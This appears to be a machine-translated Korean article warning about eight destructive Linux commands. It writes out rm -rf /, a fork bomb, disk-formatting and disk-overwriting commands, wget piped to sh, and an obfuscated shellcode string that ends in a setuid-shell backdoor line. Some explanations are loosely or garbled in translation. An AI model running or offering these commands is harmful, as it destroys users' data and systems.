리눅스에서 절대 실행하면 안되는 8가지 치명적인 명령

리눅스에서 절대 실행하면 안되는 8가지 치명적인 명령

Linux의 터미널 명령은 매우 파괴적입니다. 명령을 실행하면 시스템이 파괴됩니다. Linux에서는 명령을 실행할 때 확인이 필요하지 않습니다.

Linux에서 실행해서는 안 되는 명령을 알아두면 Linux에서 작업할 때 시스템을 보호하는 데 도움이 됩니다. 다음은 Linux에서 절대 실행해서는 안되는 8가지 치명적인 명령입니다.

리눅스에서 절대 실행하면 안되는 8가지 치명적인 명령

1. rm -rf / - 모든 것을 삭제합니다.

rm -rf / 명령은 하드 드라이브의 파일과 컴퓨터에 연결된 미디어 장치의 파일을 포함하여 모든 것을 삭제합니다.

이 명령을 더 잘 이해하려면 다음과 같이 분석하십시오.

  • rm – 다음 파일을 삭제합니다.
  • -rf – rm을 실행하고(지정된 폴더 내의 모든 파일과 폴더 삭제) 먼저 묻지 않고 모든 파일을 강제로 삭제합니다.
  • / – 컴퓨터의 모든 파일을 포함하여 rm(예: rm)이 루트 디렉터리에서 시작됨을 알려줍니다.

Linux는 이 명령을 기꺼이 따르고 경고 없이 모든 것을 삭제하므로 이 명령을 사용할 때는 주의하십시오.

게다가 rm 명령은 매우 위험한 방식으로도 사용됩니다. 예를 들어, rm –rf ~는 홈 폴더의 모든 파일을 삭제하고 rm -rf .*는 모든 구성 파일을 삭제합니다.

2. 위장된 명령 rm –rf /

다음은 웹 전체에 있는 코드 조각입니다.

char esp[] __attribute__ ((section(".text"))) /* esp 릴리스 */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

이것은 본질적으로 rm –rf /의 또 다른 버전입니다. 이 명령을 실행하면 rm –rf /를 실행하는 것과 마찬가지로 모든 파일도 삭제됩니다.

3. :(){ :|: & };: – 일종의 블록버스터

리눅스에서 절대 실행하면 안되는 8가지 치명적인 명령

아래 명령줄은 매우 간단해 보이지만 그 기능은 실제로 매우 위험합니다.

:(){ :|: & };:

이 짧은 명령은 자신의 새로운 복사본을 생성합니다. 즉, 백업 프로세스 자체가 지속적으로 진행되어 CPU와 메모리가 빠르게 가득 차게 됩니다.

또한 컴퓨터가 정지될 수도 있습니다. 기본적으로 서비스 거부(DoS) 공격입니다.

4. mkfs.ext4 /dev/sda1 – 하드 드라이브 형식

mkfs.ext4 /dev/sda1 명령은 이해하기 매우 쉽습니다.

  • mkfs.ext4 - 다음 장치에 ext4 파일 시스템을 생성합니다.
  • /dev/sda1 - 사용 중인 하드 드라이브일 수 있는 첫 번째 하드 드라이브의 첫 번째 파티션을 식별합니다.

이 두 명령을 결합하는 것은 Windows에서 C: 드라이브를 포맷하는 것과 동일합니다. 첫 번째 파티션의 모든 파일을 삭제하고 새 파일 시스템으로 교체합니다.

이 명령은 다양한 형식으로 나타날 수 있습니다. 예를 들어 mkfs.ext3 /dev/sdb2는 두 번째 하드 드라이브의 두 번째 파티션을 ext3 파일 시스템으로 포맷합니다.

5. 명령 > /dev/sda - 하드 드라이브에 직접 쓰기

리눅스에서 절대 실행하면 안되는 8가지 치명적인 명령

명령줄 > /dev/sda - 명령을 실행하고 해당 명령의 결과를 첫 번째 하드 드라이브에 직접 출력하여 데이터를 하드 드라이브에 직접 쓰고 파일 시스템을 파괴합니다.

  • command – 명령을 실행합니다(어떤 명령이든 가능).
  • > – 명령 출력을 다음 위치로 보냅니다.
  • /dev/sda – 명령 출력을 하드 드라이브 장치에 직접 씁니다.

6. dd if=/dev/random of=/dev/sda – 하드 드라이브에 어리석은 데이터를 씁니다.

dd if=/dev/random of=/dev/sda 줄은 하드 드라이브 중 하나의 데이터를 삭제합니다.

  • dd – 한 위치에서 다른 위치로 낮은 수준의 복사를 수행하는 것입니다.
  • if=/dev/random - /dev/random을 입력으로 사용합니다. - /dev/zero와 같은 주소가 표시될 수 있습니다.
  • of=/dev/sda – 첫 번째 하드 드라이브로 출력하고 파일 시스템을 임의의 어리석은 데이터로 바꿉니다.

7. mv ~ /dev/null – 홈 디렉토리를 블랙홀로 이동

/dev/null - 무언가를 /dev/null로 옮기는 것은 그것을 파괴하는 것과 같습니다. /dev/null을 블랙홀로 생각하십시오. mv ~ /dev/null은 모든 개인 파일을 블랙홀로 보냅니다.

  • mv – 다음 파일이나 폴더를 다른 위치로 이동합니다.
  • ~ – 전체 홈 폴더.
  • /dev/null – 홈 폴더를 /dev/null로 이동하면 모든 파일이 삭제되고 원본이 삭제됩니다.

8. wget http://example.com/something -O – | sh – 스크립트 로드 및 실행

위의 명령은 웹에서 스크립트를 다운로드하고 스크립트 내용을 실행하는 sh로 스크립트를 보냅니다. 스크립트가 무엇인지 확실하지 않거나 신뢰할 수 있는 스크립트 소스가 없으면 위험할 수 있습니다. 신뢰할 수 없는 스크립트를 실행하지 마세요.

wget – 파일을 다운로드합니다.

http://example.com/something – 이 위치에서 파일을 다운로드합니다.

| – wget 명령(다운로드한 버전 파일)의 출력을 다른 명령으로 직접 파이프(전송)합니다.

sh – 파일을 sh 명령으로 보냅니다.

아래 기사를 더 참조하세요.

재미있게 지내세요!


컴퓨터 네트워크의 업링크 포트란 무엇입니까?

컴퓨터 네트워크의 업링크 포트란 무엇입니까?

컴퓨터 네트워킹의 업링크는 LAN에서 WAN으로의 유선 또는 무선 연결을 의미합니다. 홈 라우터의 업링크 포트는 광대역 모뎀과 궁극적으로 인터넷에 연결하는 데 사용되는 특수 포트입니다.

동일한 홈 네트워크에서 2개의 라우터를 사용할 수 있나요?

동일한 홈 네트워크에서 2개의 라우터를 사용할 수 있나요?

대규모 홈 네트워크가 있는 경우 집 안의 특정 지점에서 무선으로 연결하는 데 어려움이 있을 수 있습니다. 두 번째 라우터는 네트워크 성능을 향상시키고 집 안 어디에서나 연결할 수 있도록 도와줍니다.

Windows 10 PIN 문자 제한을 사용자 지정하는 방법

Windows 10 PIN 문자 제한을 사용자 지정하는 방법

Windows 10 PIN 설정은 컴퓨터를 보호하는 안전하고 효과적인 방법 중 하나입니다. 단, PIN 코드는 최소 4자, 최대 10자로 제한됩니다. 그렇다면 Windows 10 PIN 코드의 단축과 길이를 조정하는 방법은 무엇입니까?

Windows에서 화면을 끄는 가장 빠른 방법

Windows에서 화면을 끄는 가장 빠른 방법

Windows 10 노트북을 사용 중이고 화면만 끄고 절전 모드로 전환하지 않으려면 이 방법을 사용하세요.

고급 포트 스캐너를 사용하여 네트워크 포트를 검색하는 방법

고급 포트 스캐너를 사용하여 네트워크 포트를 검색하는 방법

고급 포트 스캐너는 네트워크 포트를 검색하는 데 유용한 작고 강력한 도구입니다. 이 무료 네트워크 포트 스캐너 도구는 네트워크 장치를 검색하여 열려 있는 포트를 빠르고 쉽게 찾을 수 있도록 해줍니다.

오늘날 컴퓨터에서 최고의 가상 RAM을 생성하는 최고의 소프트웨어

오늘날 컴퓨터에서 최고의 가상 RAM을 생성하는 최고의 소프트웨어

업그레이드하고 대용량 RAM을 추가로 구입할 자격이 없는 경우 컴퓨터에 가상 RAM을 생성하는 소프트웨어에 지원을 요청할 수 있습니다. 물리적 RAM 스틱만큼 효과적으로 작동하는 솔루션을 제공할 수는 없지만 이러한 가상 RAM 생성 도구를 사용하여 Windows의 가상 메모리 양을 늘려 컴퓨터 작동 성능을 향상시킬 수도 있습니다.

시스템에 두 번째 맬웨어 검사 도구가 필요한 이유는 무엇입니까?

시스템에 두 번째 맬웨어 검사 도구가 필요한 이유는 무엇입니까?

보조 스캐너는 보조 악성 코드 탐지 및 제거 프로그램과 같으며, 기본 스캐너가 악성 코드 감염을 탐지하지 못하는 경우 컴퓨터에 대한 2차 방어선 역할을 합니다.

AirPrint는 WiFi입니까?

AirPrint는 WiFi입니까?

무선 네트워크가 있고 여기에서 iOS 장치를 작동할 수 있는 경우 AirPrint 지원을 추가하면 직원이 직장에서 iPhone 및 iPad를 더 쉽게 사용할 수 있습니다.

차량에서 Wi-Fi를 설정하는 방법

차량에서 Wi-Fi를 설정하는 방법

자동차에 Wi-Fi를 설치해야 하는 필요성이 날로 증가하고 있습니다. 현재 자동차에 Wi-Fi를 설치하는 방법에는 여러 가지가 있습니다. 아래 기사에서 Quantrimang은 자동차에서 Wi-Fi를 설정하는 가장 빠르고 편리한 방법을 필터링하는 데 도움을 줄 것입니다.

휴대폰에서 자동차 오디오 시스템으로 음악을 재생하는 방법

휴대폰에서 자동차 오디오 시스템으로 음악을 재생하는 방법

운전하면서 음악을 듣는 것은 정말 좋습니다. 차 안에서 음악을 듣는 방법은 다양하지만, 오늘날 스마트폰의 편리함으로 인해 좋아하는 노래와 장르를 무엇이든 즐길 수 있습니다. 그렇다면 휴대폰에서 자동차 오디오 시스템으로 음악을 재생하는 가장 좋고 쉬운 방법은 무엇입니까?